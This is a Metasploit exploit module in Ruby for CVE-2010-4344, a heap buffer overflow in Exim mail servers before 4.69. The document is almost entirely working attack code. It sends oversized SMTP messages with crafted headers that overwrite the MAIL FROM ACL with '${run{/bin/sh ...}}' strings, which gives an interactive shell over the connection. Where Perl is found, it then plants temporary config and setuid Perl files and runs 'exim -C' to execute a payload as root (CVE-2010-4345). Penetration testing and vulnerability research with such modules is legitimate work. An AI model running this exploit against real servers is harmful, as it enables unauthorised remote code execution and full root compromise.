Exim4 <= 4.69 - string_format Function Heap Buffer Overflow



##

# $Id: exim4_string_format.rb 11352 2010-12-16 17:30:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::Smtp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Exim4 <= 4.69 string_format Function Heap Buffer Overflow',
            'Description'    => %q{
                    This module exploits a heap buffer overflow within versions of Exim prior to
                version 4.69. By sending a specially crafted message, an attacker can corrupt the
                heap and execute arbitrary code with the privileges of the Exim daemon.

                The root cause is that no check is made to ensure that the buffer is not full
                prior to handling '%s' format specifiers within the 'string_vformat' function.
                In order to trigger this issue, we get our message rejected by sending a message
                that is too large. This will call into log_write to log rejection headers (which
                is a default configuration setting). After filling the buffer, a long header
                string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL
                FROM' command. By sending a second message, the string we sent will be evaluated
                with 'expand_string' and arbitrary shell commands can be executed.

                It is likely that this issue could also be exploited using other techniques such
                as targeting in-band heap management structures, or perhaps even function pointers
                stored in the heap. However, these techniques would likely be far more platform
                specific, more complicated, and less reliable.

                This bug was original found and reported in December 2008, but was not
                properly handled as a security issue. Therefore, there was a 2 year lag time
                between when the issue was fixed and when it was discovered being exploited
                in the wild. At that point, the issue was assigned a CVE and began being
                addressed by downstream vendors.

                An additional vulnerability, CVE-2010-4345, was also used in the attack that
                led to the discovery of danger of this bug. This bug allows a local user to
                gain root privileges from the Exim user account. If the Perl interpreter is
                found on the remote system, this module will automatically exploit the
                secondary bug as well to get root.
            },
            'Author'         => [ 'jduck', 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 11352 $',
            'References'     =>
                [
                    [ 'CVE', '2010-4344' ],
                    [ 'OSVDB', '69685' ],
                    [ 'BID', '45308' ],
                    [ 'CVE', '2010-4345' ],
                    #[ 'OSVDB', '' ],
                    [ 'BID', '45341' ],
                    [ 'URL', 'http://seclists.org/oss-sec/2010/q4/311' ],
                    [ 'URL', 'http://www.gossamer-threads.com/lists/exim/dev/89477' ],
                    [ 'URL', 'http://bugs.exim.org/show_bug.cgi?id=787' ],
                    [ 'URL', 'http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b' ]
                ],
            'Privileged'     => true,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Space'       => 8192, # much more in reality, but w/e
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic perl ruby bash telnet',
                        }
                },
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'Targets'        =>
                [
                    [ 'Automatic', { } ],
                ],
            # Originally discovered/reported Dec 2 2008
            'DisclosureDate' => 'Dec 7 2010', # as an actual security bug
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('MAILFROM', [ true, 'FROM address of the e-mail', 'root@localhost']),
                OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'postmaster@localhost']),
                OptString.new('EHLO_NAME', [ false, 'The name to send in the EHLO' ])
            ], self.class)

        register_advanced_options(
            [
                OptString.new("SourceAddress", [false, "The IP or hostname of this system as the target will resolve it"]),
                OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]),
                OptBool.new("SkipVersionCheck", [true, "Specify this to skip the version check", false])
            ], self.class)
    end

    def exploit
        #
        # Connect and grab the banner
        #
        ehlo = datastore['EHLO_NAME']
        ehlo ||= Rex::Text.rand_text_alphanumeric(8) + ".com"

        print_status("Connecting to #{rhost}:#{rport} ...")
        connect

        print_status("Server: #{self.banner.strip}")
        if self.banner !~ /Exim /
            raise RuntimeError, "The target server is not running Exim!"
        end

        if not datastore['SkipVersionCheck'] and self.banner !~ /Exim 4\.6\d+/i
            raise RuntimeError, "Warning: This version of Exim is not exploitable"
        end

        ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
        ehlo_resp.each_line do |line|
            print_status("EHLO: #{line.strip}")
        end

        #
        # Determine the maximum message size
        #
        max_msg = 52428800
        if ehlo_resp.to_s =~ /250-SIZE (\d+)/
            max_msg = $1.to_i
        end

        #
        # Determine what hostname the server sees
        #
        saddr = nil
        revdns = nil
        if ehlo_resp =~ /^250.*Hello ([^\s]+) \[([^\]]+)\]/
            revdns = $1
            saddr = $2
        end
        source = saddr || datastore["SourceAddress"] || Rex::Socket.source_address('1.2.3.4')
        print_status("Determined our hostname is #{revdns} and IP address is #{source}")


        #
        # Initiate the message
        #
        from = datastore['MAILFROM']
        to   = datastore['MAILTO']

        resp = raw_send_recv("MAIL FROM: #{from}\r\n")
        resp ||= 'no response'
        msg = "MAIL: #{resp.strip}"
        if not resp or resp[0,3] != '250'
            raise RuntimeError, msg
        else
            print_status(msg)
        end

        resp = raw_send_recv("RCPT TO: #{to}\r\n")
        resp ||= 'no response'
        msg = "RCPT: #{resp.strip}"
        if not resp or resp[0,3] != '250'
            raise RuntimeError, msg
        else
            print_status(msg)
        end

        resp = raw_send_recv("DATA\r\n")
        resp ||= 'no response'
        msg = "DATA: #{resp.strip}"
        if not resp or resp[0,3] != '354'
            raise RuntimeError, msg
        else
            print_status(msg)
        end


        #
        # Calculate the headers
        #
        msg_len         = max_msg + (1024*256) # just for good measure
        log_buffer_size = 8192

        host_part = "H="
        host_part << revdns << " " if revdns != ehlo
        host_part << "(#{ehlo})"

        # The initial headers will fill up the 'log_buffer' variable in 'log_write' function
        print_status("Constructing initial headers ...")
        log_buffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <#{from}> #{host_part} [#{source}]: "
        log_buffer << "message too big: read=#{msg_len} max=#{max_msg}\n"
        log_buffer << "Envelope-from: <#{from}>\nEnvelope-to: <#{to}>\n"

        # We want 2 bytes left, so we subtract from log_buffer_size here
        log_buffer_size -= 3 # account for the nul termination too

        # Now, "  " + hdrline for each header
        hdrs = []
        while log_buffer.length < log_buffer_size
            header_name = rand_text_alpha(10).capitalize
            filler = rand_text_alphanumeric(8 * 16)
            hdr = "#{header_name}: #{filler}\n"

            one = (2 + hdr.length)
            two = 2 * one
            left = log_buffer_size - log_buffer.length
            if left < two and left > one
                left -= 4 # the two double spaces
                first = left / 2
                hdr = hdr.slice(0, first - 1) + "\n"
                hdrs << hdr
                log_buffer << "  " << hdr

                second = left - first
                header_name = rand_text_alpha(10).capitalize
                filler = rand_text_alphanumeric(8 * 16)
                hdr = "#{header_name}: #{filler}\n"
                hdr = hdr.slice(0, second - 1) + "\n"
            end
            hdrs << hdr
            log_buffer << "  " << hdr
        end
        hdrs1 = hdrs.join

        # This header will smash various heap stuff, hopefully including the ACL
        header_name = Rex::Text.rand_text_alpha(7).capitalize
        print_status("Constructing HeaderX ...")
        hdrx = "#{header_name}: "
        1.upto(50) { |a|
            3.upto(12) { |b|
                hdrx << "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} "
            }
        }

        # In order to trigger the overflow, we must get our message rejected.
        # To do so, we send a message that is larger than the maximum.

        print_status("Constructing body ...")
        body = ''
        fill = (Rex::Text.rand_text_alphanumeric(254) + "\r\n") * 16384

        while(body.length < msg_len)
            body << fill
        end
        body = body[0, msg_len]

        print_status("Sending #{msg_len / (1024*1024)} megabytes of data...")
        sock.put hdrs1
        sock.put hdrx
        sock.put "\r\n"
        sock.put body

        print_status("Ending first message.")
        buf = raw_send_recv("\r\n.\r\n")
        # Should be: "552 Message size exceeds maximum permitted\r\n"
        print_status("Result: #{buf.inspect}") if buf

        print_status("Sending second message ...")
        buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
        # Should be: "sh-x.x$ " !!
        print_status("MAIL result: #{buf.inspect}") if buf

        buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
        # Should be: "sh: RCPT: command not found\n"
        if buf
            print_status("RCPT result: #{buf.inspect}")
            if buf !~ /RCPT/
                raise RuntimeError, 'Something went wrong, perhaps this host is patched?'
            end
        end

        # Clear pending output from the socket
        sock.get_once(-1, 1.0)
        sock.put("source /etc/profile >/dev/null 2>&1\n")
        sock.get_once(-1, 2.0)
        resp = ''

        if not datastore['SkipEscalation']
            print_status("Looking for Perl to facilitate escalation...")
            # Check for Perl as a way to escalate our payload
            sock.put("perl -V\n")
            select(nil, nil, nil, 3.0)
            resp = sock.get_once(-1, 10.0)
        end

        if resp !~ /Summary of my perl/
            print_status("Should have a shell now, sending payload...")
            buf = raw_send_recv("\n" + payload.encoded + "\n\n")
            if buf
                if buf =~ /554 SMTP synchronization error/
                    print_error("This target may be patched: #{buf.strip}")
                else
                    print_status("Payload result: #{buf.inspect}")
                end
            end
        else
            print_status("Perl binary detected, attempt to escalate...")

            token = Rex::Text.rand_text_alpha(8)
            # Flush the output from the shell
            sock.get_once(-1, 0.1)

            # Find the perl interpreter path
            sock.put("which perl;echo #{token}\n")
            buff = ""
            cnt  =
            while not buff.index(token)
                res = sock.get_once(-1, 0.25)
                buff << res if res
            end

            perl_path = buff.gsub(token, "").gsub(/\/perl.*/, "/perl").strip
            print_status("Using Perl interpreter at #{perl_path}...")

            temp_conf = "/var/tmp/" + Rex::Text.rand_text_alpha(8)
            temp_perl = "/var/tmp/" + Rex::Text.rand_text_alpha(8)
            temp_eof  = Rex::Text.rand_text_alpha(8)

            print_status("Creating temporary files #{temp_conf} and #{temp_perl}...")

            data_conf = "spool_directory = ${run{#{perl_path} #{temp_perl}}}\n".unpack("H*")[0]
            sock.put("perl -e 'print pack qq{H*},shift' #{data_conf} > #{temp_conf}\n")

            data_perl =    "#!/usr/bin/perl\n$) = $( = $> = $< = 0; system<DATA>;\n__DATA__\n#{payload.encoded}\n".unpack("H*")[0]
            sock.put("perl -e 'print pack qq{H*},shift' #{data_perl} > #{temp_perl}\n")

            print_status("Attempting to execute payload as root...")
            sock.put("PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin exim -C#{temp_conf} -q\n")
        end

        # Give some time for the payload to be consumed
        select(nil, nil, nil, 4)

        handler
        disconnect
    end

end